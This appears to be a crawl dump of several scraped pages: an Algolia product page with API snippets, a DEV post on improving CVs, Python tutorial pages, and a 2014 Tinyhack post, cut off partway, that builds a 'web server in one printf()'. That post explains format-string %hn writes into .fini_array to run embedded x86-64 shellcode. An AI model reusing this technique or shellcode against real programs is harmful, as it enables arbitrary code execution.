"products", new List<string> { "9780545139700" }, new List<uint> { 7 }, "cba8245617aeace44" ); Build with C# AsyncUserInsightsClient insights = new AsyncInsightsClient( "ALGOLIA_APP_ID", "ALGOLIA_API_KEY", client ).user("user-123456"); insights.clickedObjectIDsAfterSearch( "Product Clicked", "products", Arrays.asList("9780545139700"), new ArrayList<>(Arrays.asList(7l)), "cba8245617aeace44" ); Build with Java client := insights.NewClient( "ALGOLIA_APP_ID", "ALGOLIA_API_KEY", ).User("user-123456") res, err := client.ClickedObjectIDsAfterSearch( "Product Clicked", "products", []string{"9780545139700"}, []int{7}, "cba8245617aeace44", ) Build with Go client.execute { send event ClickedObjectIDsAfterSearch( "user-123456", "Product Clicked", "products", Seq("9780545139700"), Seq(7), "cba8245617aeace44" ) } Build with Scala *:nth-child(n+1)]:border-b px-4" data-expansion-type="multiItem" > Manage your data using any of our API clients. Build search front-end from customizable UI libraries with reusable components. Configure analytics to show click conversions, run A/B testing and tune recommendations. Scale with Integrations Use integrations and pre-built libraries to build scalable search experiences. --> --> --> No Products Found!!! View all integrations Explore every possibility with full documentation Find everything you need to get started with API reference docs, guides and sample code. Read the docs Develop your stack with UI libraries Deploy pre-built, customizable UI libraries for instantsearch and autocomplete, available in multiple frameworks. Explore all front-end possibilities Build DocSearch Free search for your developer documentation. Discover DocSearch Code Exchange Building blocks for search and discovery. Back-end tools Use our API clients, frameworks and integrations to push your data. Explore back-end building blocks Front-end tools Build your frontend using our UI libraries and templates. Explore front-end building blocks Showcase Don’t start from a blank page. Explore our demos and sample apps. Explore Showcase Explore Code Exchange For startups - all the power, none of the headache Startups, you can get going in minutes and scale for decades. Whatever your future demands, and however much you grow - Algolia has you covered. Eligible startups can begin with $10k of credits from Algolia and $100k from startup partners. Learn more Enterprises, delight your customers Grow your customer satisfaction - and sales. Because when your customers feel understood, they click and they come back. Get help from our experts to start fast and run efficiently. Contact sales "[Algolia] was very professional from the start. We had a great Customer Success Manager and team that provided a lot of help and was a great partner." Clint Fischerström Head of Ecommerce @ Swedol “I think we’ve grown leaps and bounds with Algolia. There's a lot of features that we still can tap into, which is great because I feel like we've gotten a ton out of it already.” Geoff Lyman Digital Experience Solutions Manager @ Hershey's “Instead of having to go into the back end and the catalog—which would have been a technical headache—we were able to figure it out in a matter of a day, test it, and ‘boom’ it’s live.” Courtney Grisham Director of E-Commerce @ Shoe Carnival “Algolia is very fast — able to keep up with our level of traffic… The API and SDK options are really great, and the ability to handle traffic at scale (we have a high volume)” Matt Goorley Engineering Manager @ LTK “Algolia is a breeze to work with. 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Generative Experiences Build conversational solutions with retrieval augmented generation (RAG). Generative Experiences Build conversational solutions with retrieval augmented generation (RAG). Ask AI Deliver conversational answers—right from your search bar. Ask AI Deliver conversational answers—right from your search bar. MCP Server Search, analyze, or monitor your index within your agentic workflow. MCP Server Search, analyze, or monitor your index within your agentic workflow. Intelligent Data Kit Overview Data Enrichment Modify, enhance, or restructure data as it’s indexed for search. Data Enrichment Modify, enhance, or restructure data as it’s indexed for search. Data Transformation Streamline data preparation and enhance data quality. Data Transformation Streamline data preparation and enhance data quality. Integrations Connect to your existing stack via pre-built libraries and APIs. Integrations Connect to your existing stack via pre-built libraries and APIs. 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We got you covered! Brand guidelines Download logo pack Agentic. Generative. Search. From Agentic to Generative to Search AI, Algolia gives teams the tools to build intuitive, adaptive, and high-performing digital experiences on a single AI Retrieval Platform. At a glance 18,000+ Global brands served 1.75+ trillion Searches powered annually 500,000+ Developers supported worldwide 800+ Employees advancing AI retrieval innovation 100% Compliant & secure across all major certifications #1 Recognized leader in the Gartner Magic Quadrant for Search & Discovery Our purpose To transform how the world discovers information—helping people find what they need without foraging. Algolia transforms discovery into something effortless—understanding intent, surfacing what matters, and delivering results instantly. No noise. No searching. Just the right product, the right content, the right answer—exactly when you need it. --> Built for speed. Designed for relevance. Algolia is trusted by global leaders in many industries including retail, ecommerce, SaaS, media, and more. Backed by more than a decade of innovation and scale, our AI Search platform delivers: The fastest AI-powered search technology available Average response time less than 20 milliseconds. Learn more True developer freedom through flexible APIs and SDKs Scores of libraries and integrations available for use today. Learn more Personalized experiences that convert more users Advanced AI-powered personalization with first-party data. Learn more Massive scalability and global reliability 70+ data centers across 17 regions globally. Learn more Vector search LLMs and Multi-Signal Ranking A one-stop-shop for deploying AI quickly. Learn more Our customers Our 18,000+ customers don’t settle. They build experiences that feel effortless, intuitive, and instantly relevant. They’re creators, disruptors, and pioneers—companies redefining how people discover products, content, and answers in a digital world. They choose Algolia not simply for speed or scale, but for precision. For the ability to understand intent. To personalize without friction. To search, and discover, in a blink of an eye. Real stories. Real results. Read now Our people & culture We’re nearly a thousand people, united by a single vision—spanning continents, time zones, and perspectives. From Paris to San Francisco, Sydney to London, we build together—remotely, flexibly, inclusively. Our largest team? R&D. Because innovation isn’t an initiative. It’s our foundation. Help shape the future of discovery. Join us Our company values At Algolia, we live our values at every level of the company, guiding how we work, collaborate, and make decisions each day. Grit We thrive outside of our comfort zone, pushing ourselves to go ever further. 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https://dev.to/coder_c2b552a35a8ebe0d2f3/how-to-analyze-your-cv-effectively-and-boost-your-job-chances-1caf | How to Analyze Your CV Effectively and Boost Your Job Chances 🚀 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Coder Posted on Jan 8 How to Analyze Your CV Effectively and Boost Your Job Chances 🚀 # career # resume # programming # hiring I realized that many people struggle to get interviews not because they lack skills, but because their CV is poorly structured, hard to read, or rejected by ATS systems. After analyzing many CVs, here’s a simple and practical guide on how to analyze a CV effectively and improve your chances of getting interviews. 🚀 🔍 How to analyze a CV effectively Analyzing a CV correctly is a crucial step to stand out in a competitive job market. A well-structured, clear, and optimized CV significantly increases your chances of catching a recruiter's attention and passing automated screening systems (ATS) ✅. Below is a practical guide to help you analyze and improve a CV efficiently. 1️⃣ Check the CV structure and layout 🏗️ A good CV structure makes information easy to read and understand in a few seconds. Make sure that: Sections are clearly separated (profile, experience, education, skills) 📌 Titles are visible and consistent 🏷️ The layout is clean, professional, and well aligned ✍️ The CV is easy to scan for a recruiter 👀 A clear and well-organized layout improves readability and helps recruiters quickly find key information. 2️⃣ Ensure the CV is easy for recruiters to read 👓 Recruiters spend very little time on each CV. Your content must be direct and impactful. Check that: Sentences are short and precise ✏️ Bullet points are used instead of long paragraphs 📋 Key achievements are highlighted 🌟 Unnecessary information is removed ❌ A readable CV keeps attention and increases the chance of being shortlisted. 3️⃣ Optimize the CV for ATS systems 🤖 Many companies use Applicant Tracking Systems to filter CVs automatically. To improve ATS compatibility: Use simple fonts and standard formatting 🖋️ Avoid tables, images, or complex designs 🚫 Use job-related keywords naturally 🔑 Match your vocabulary with the job description 📝 An ATS-friendly CV has a much higher chance of passing automated screening. 4️⃣ Analyze skills and professional experience 💼 Your skills and experience must clearly match the position you are applying for. Ask yourself: Are the most relevant skills clearly visible? 💪 Are responsibilities and results well described? 📊 Are achievements quantified when possible? 🏆 A strong skills section helps recruiters immediately see your value. 5️⃣ Identify strengths and areas for improvement 🔍 A good CV analysis highlights both strengths and weaknesses. Look for: Missing or unclear information ⚠️ Skills that could be better emphasized ✨ Sections that could be reorganized or simplified 🔄 Improving these points can significantly increase the impact of your CV. 6️⃣ Use AI to analyze and improve your CV 🤖💡 AI-powered tools can analyze a CV in seconds and provide actionable feedback. With AI CV analysis, you can: Get a clear overall score 🏅 Improve structure and layout 🏗️ Optimize readability for recruiters 👀 Ensure ATS compatibility 🤖 Receive personalized improvement suggestions 🎯 I eventually built a small tool called VitaeBoost to automate this process and help candidates improve their CV quickly. It’s free , instant , and requires no registration . 👉 https://vitaeboost.fr/ 🏁 Final tip A strong CV isn’t about fancy design — it’s about clarity, relevance, and efficiency. By focusing on structure, readability, and ATS optimization, you significantly increase your chances of landing interviews. 🎯 If you’re currently job hunting: what part of your CV do you find the hardest to improve? Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Coder Follow Joined Dec 26, 2025 More from Coder 🚀 Boost Your CV with AI: How VitaeBoost Helps You Stand Out # ai # career # resume # productivity Découvrez VitaeBoost : l’outil gratuit pour analyser et améliorer votre CV # programming # ai # vitaeboost # react 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://docs.python.org/3/tutorial/interpreter.html | 2. Using the Python Interpreter — Python 3.14.2 documentation Theme Auto Light Dark Table of Contents 2. Using the Python Interpreter 2.1. Invoking the Interpreter 2.1.1. Argument Passing 2.1.2. Interactive Mode 2.2. The Interpreter and Its Environment 2.2.1. Source Code Encoding Previous topic 1. Whetting Your Appetite Next topic 3. An Informal Introduction to Python This page Report a bug Show source Navigation index modules | next | previous | Python » 3.14.2 Documentation » The Python Tutorial » 2. Using the Python Interpreter | Theme Auto Light Dark | 2. Using the Python Interpreter ¶ 2.1. Invoking the Interpreter ¶ The Python interpreter is usually installed as /usr/local/bin/python3.14 on those machines where it is available; putting /usr/local/bin in your Unix shell’s search path makes it possible to start it by typing the command: python3.14 to the shell. [ 1 ] Since the choice of the directory where the interpreter lives is an installation option, other places are possible; check with your local Python guru or system administrator. (E.g., /usr/local/python is a popular alternative location.) On Windows machines where you have installed Python from the Microsoft Store , the python3.14 command will be available. If you have the py.exe launcher installed, you can use the py command. See Python install manager for other ways to launch Python. Typing an end-of-file character ( Control - D on Unix, Control - Z on Windows) at the primary prompt causes the interpreter to exit with a zero exit status. If that doesn’t work, you can exit the interpreter by typing the following command: quit() . The interpreter’s line-editing features include interactive editing, history substitution and code completion on systems that support the GNU Readline library. Perhaps the quickest check to see whether command line editing is supported is typing Control - P to the first Python prompt you get. If it beeps, you have command line editing; see Appendix Interactive Input Editing and History Substitution for an introduction to the keys. If nothing appears to happen, or if ^P is echoed, command line editing isn’t available; you’ll only be able to use backspace to remove characters from the current line. The interpreter operates somewhat like the Unix shell: when called with standard input connected to a tty device, it reads and executes commands interactively; when called with a file name argument or with a file as standard input, it reads and executes a script from that file. A second way of starting the interpreter is python -c command [arg] ... , which executes the statement(s) in command , analogous to the shell’s -c option. Since Python statements often contain spaces or other characters that are special to the shell, it is usually advised to quote command in its entirety. Some Python modules are also useful as scripts. These can be invoked using python -m module [arg] ... , which executes the source file for module as if you had spelled out its full name on the command line. When a script file is used, it is sometimes useful to be able to run the script and enter interactive mode afterwards. This can be done by passing -i before the script. All command line options are described in Command line and environment . 2.1.1. Argument Passing ¶ When known to the interpreter, the script name and additional arguments thereafter are turned into a list of strings and assigned to the argv variable in the sys module. You can access this list by executing import sys . The length of the list is at least one; when no script and no arguments are given, sys.argv[0] is an empty string. When the script name is given as '-' (meaning standard input), sys.argv[0] is set to '-' . When -c command is used, sys.argv[0] is set to '-c' . When -m module is used, sys.argv[0] is set to the full name of the located module. Options found after -c command or -m module are not consumed by the Python interpreter’s option processing but left in sys.argv for the command or module to handle. 2.1.2. Interactive Mode ¶ When commands are read from a tty, the interpreter is said to be in interactive mode . In this mode it prompts for the next command with the primary prompt , usually three greater-than signs ( >>> ); for continuation lines it prompts with the secondary prompt , by default three dots ( ... ). The interpreter prints a welcome message stating its version number and a copyright notice before printing the first prompt: $ python3.14 Python 3.14 (default, April 4 2024, 09:25:04) [GCC 10.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> Continuation lines are needed when entering a multi-line construct. As an example, take a look at this if statement: >>> the_world_is_flat = True >>> if the_world_is_flat : ... print ( "Be careful not to fall off!" ) ... Be careful not to fall off! For more on interactive mode, see Interactive Mode . 2.2. The Interpreter and Its Environment ¶ 2.2.1. Source Code Encoding ¶ By default, Python source files are treated as encoded in UTF-8. In that encoding, characters of most languages in the world can be used simultaneously in string literals, identifiers and comments — although the standard library only uses ASCII characters for identifiers, a convention that any portable code should follow. To display all these characters properly, your editor must recognize that the file is UTF-8, and it must use a font that supports all the characters in the file. To declare an encoding other than the default one, a special comment line should be added as the first line of the file. The syntax is as follows: # -*- coding: encoding -*- where encoding is one of the valid codecs supported by Python. For example, to declare that Windows-1252 encoding is to be used, the first line of your source code file should be: # -*- coding: cp1252 -*- One exception to the first line rule is when the source code starts with a UNIX “shebang” line . In this case, the encoding declaration should be added as the second line of the file. For example: #!/usr/bin/env python3 # -*- coding: cp1252 -*- Footnotes [ 1 ] On Unix, the Python 3.x interpreter is by default not installed with the executable named python , so that it does not conflict with a simultaneously installed Python 2.x executable. Table of Contents 2. Using the Python Interpreter 2.1. Invoking the Interpreter 2.1.1. Argument Passing 2.1.2. Interactive Mode 2.2. The Interpreter and Its Environment 2.2.1. Source Code Encoding Previous topic 1. Whetting Your Appetite Next topic 3. An Informal Introduction to Python This page Report a bug Show source « Navigation index modules | next | previous | Python » 3.14.2 Documentation » The Python Tutorial » 2. Using the Python Interpreter | Theme Auto Light Dark | © Copyright 2001 Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jan 13, 2026 (06:19 UTC). Found a bug ? Created using Sphinx 8.2.3. | 2026-01-13T08:48:56 |
https://docs.python.org/3/tutorial/index.html | The Python Tutorial — Python 3.14.2 documentation Theme Auto Light Dark Previous topic Changelog Next topic 1. Whetting Your Appetite This page Report a bug Show source Navigation index modules | next | previous | Python » 3.14.2 Documentation » The Python Tutorial | Theme Auto Light Dark | The Python Tutorial ¶ Tip This tutorial is designed for programmers that are new to the Python language, not beginners who are new to programming. Python is an easy to learn, powerful programming language. It has efficient high-level data structures and a simple but effective approach to object-oriented programming. Python’s elegant syntax and dynamic typing, together with its interpreted nature, make it an ideal language for scripting and rapid application development in many areas on most platforms. The Python interpreter and the extensive standard library are freely available in source or binary form for all major platforms from the Python website, https://www.python.org/ , and may be freely distributed. The same site also contains distributions of and pointers to many free third party Python modules, programs and tools, and additional documentation. The Python interpreter is easily extended with new functions and data types implemented in C or C++ (or other languages callable from C). Python is also suitable as an extension language for customizable applications. This tutorial introduces the reader informally to the basic concepts and features of the Python language and system. Be aware that it expects you to have a basic understanding of programming in general. It helps to have a Python interpreter handy for hands-on experience, but all examples are self-contained, so the tutorial can be read off-line as well. For a description of standard objects and modules, see The Python Standard Library . The Python Language Reference gives a more formal definition of the language. To write extensions in C or C++, read Extending and Embedding the Python Interpreter and Python/C API Reference Manual . There are also several books covering Python in depth. This tutorial does not attempt to be comprehensive and cover every single feature, or even every commonly used feature. Instead, it introduces many of Python’s most noteworthy features, and will give you a good idea of the language’s flavor and style. After reading it, you will be able to read and write Python modules and programs, and you will be ready to learn more about the various Python library modules described in The Python Standard Library . The Glossary is also worth going through. 1. Whetting Your Appetite 2. Using the Python Interpreter 2.1. Invoking the Interpreter 2.1.1. Argument Passing 2.1.2. Interactive Mode 2.2. The Interpreter and Its Environment 2.2.1. Source Code Encoding 3. An Informal Introduction to Python 3.1. Using Python as a Calculator 3.1.1. Numbers 3.1.2. Text 3.1.3. Lists 3.2. First Steps Towards Programming 4. More Control Flow Tools 4.1. if Statements 4.2. for Statements 4.3. The range() Function 4.4. break and continue Statements 4.5. else Clauses on Loops 4.6. pass Statements 4.7. match Statements 4.8. Defining Functions 4.9. More on Defining Functions 4.9.1. Default Argument Values 4.9.2. Keyword Arguments 4.9.3. Special parameters 4.9.3.1. Positional-or-Keyword Arguments 4.9.3.2. Positional-Only Parameters 4.9.3.3. Keyword-Only Arguments 4.9.3.4. Function Examples 4.9.3.5. Recap 4.9.4. Arbitrary Argument Lists 4.9.5. Unpacking Argument Lists 4.9.6. Lambda Expressions 4.9.7. Documentation Strings 4.9.8. Function Annotations 4.10. Intermezzo: Coding Style 5. Data Structures 5.1. More on Lists 5.1.1. Using Lists as Stacks 5.1.2. Using Lists as Queues 5.1.3. List Comprehensions 5.1.4. Nested List Comprehensions 5.2. The del statement 5.3. Tuples and Sequences 5.4. Sets 5.5. Dictionaries 5.6. Looping Techniques 5.7. More on Conditions 5.8. Comparing Sequences and Other Types 6. Modules 6.1. More on Modules 6.1.1. Executing modules as scripts 6.1.2. The Module Search Path 6.1.3. “Compiled” Python files 6.2. Standard Modules 6.3. The dir() Function 6.4. Packages 6.4.1. Importing * From a Package 6.4.2. Intra-package References 6.4.3. Packages in Multiple Directories 7. Input and Output 7.1. Fancier Output Formatting 7.1.1. Formatted String Literals 7.1.2. The String format() Method 7.1.3. Manual String Formatting 7.1.4. Old string formatting 7.2. Reading and Writing Files 7.2.1. Methods of File Objects 7.2.2. Saving structured data with json 8. Errors and Exceptions 8.1. Syntax Errors 8.2. Exceptions 8.3. Handling Exceptions 8.4. Raising Exceptions 8.5. Exception Chaining 8.6. User-defined Exceptions 8.7. Defining Clean-up Actions 8.8. Predefined Clean-up Actions 8.9. Raising and Handling Multiple Unrelated Exceptions 8.10. Enriching Exceptions with Notes 9. Classes 9.1. A Word About Names and Objects 9.2. Python Scopes and Namespaces 9.2.1. Scopes and Namespaces Example 9.3. A First Look at Classes 9.3.1. Class Definition Syntax 9.3.2. Class Objects 9.3.3. Instance Objects 9.3.4. Method Objects 9.3.5. Class and Instance Variables 9.4. Random Remarks 9.5. Inheritance 9.5.1. Multiple Inheritance 9.6. Private Variables 9.7. Odds and Ends 9.8. Iterators 9.9. Generators 9.10. Generator Expressions 10. Brief Tour of the Standard Library 10.1. Operating System Interface 10.2. File Wildcards 10.3. Command Line Arguments 10.4. Error Output Redirection and Program Termination 10.5. String Pattern Matching 10.6. Mathematics 10.7. Internet Access 10.8. Dates and Times 10.9. Data Compression 10.10. Performance Measurement 10.11. Quality Control 10.12. Batteries Included 11. Brief Tour of the Standard Library — Part II 11.1. Output Formatting 11.2. Templating 11.3. Working with Binary Data Record Layouts 11.4. Multi-threading 11.5. Logging 11.6. Weak References 11.7. Tools for Working with Lists 11.8. Decimal Floating-Point Arithmetic 12. Virtual Environments and Packages 12.1. Introduction 12.2. Creating Virtual Environments 12.3. Managing Packages with pip 13. What Now? 14. Interactive Input Editing and History Substitution 14.1. Tab Completion and History Editing 14.2. Alternatives to the Interactive Interpreter 15. Floating-Point Arithmetic: Issues and Limitations 15.1. Representation Error 16. Appendix 16.1. Interactive Mode 16.1.1. Error Handling 16.1.2. Executable Python Scripts 16.1.3. The Interactive Startup File 16.1.4. The Customization Modules Previous topic Changelog Next topic 1. Whetting Your Appetite This page Report a bug Show source « Navigation index modules | next | previous | Python » 3.14.2 Documentation » The Python Tutorial | Theme Auto Light Dark | © Copyright 2001 Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jan 13, 2026 (06:19 UTC). Found a bug ? Created using Sphinx 8.2.3. | 2026-01-13T08:48:56 |
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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23681#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: 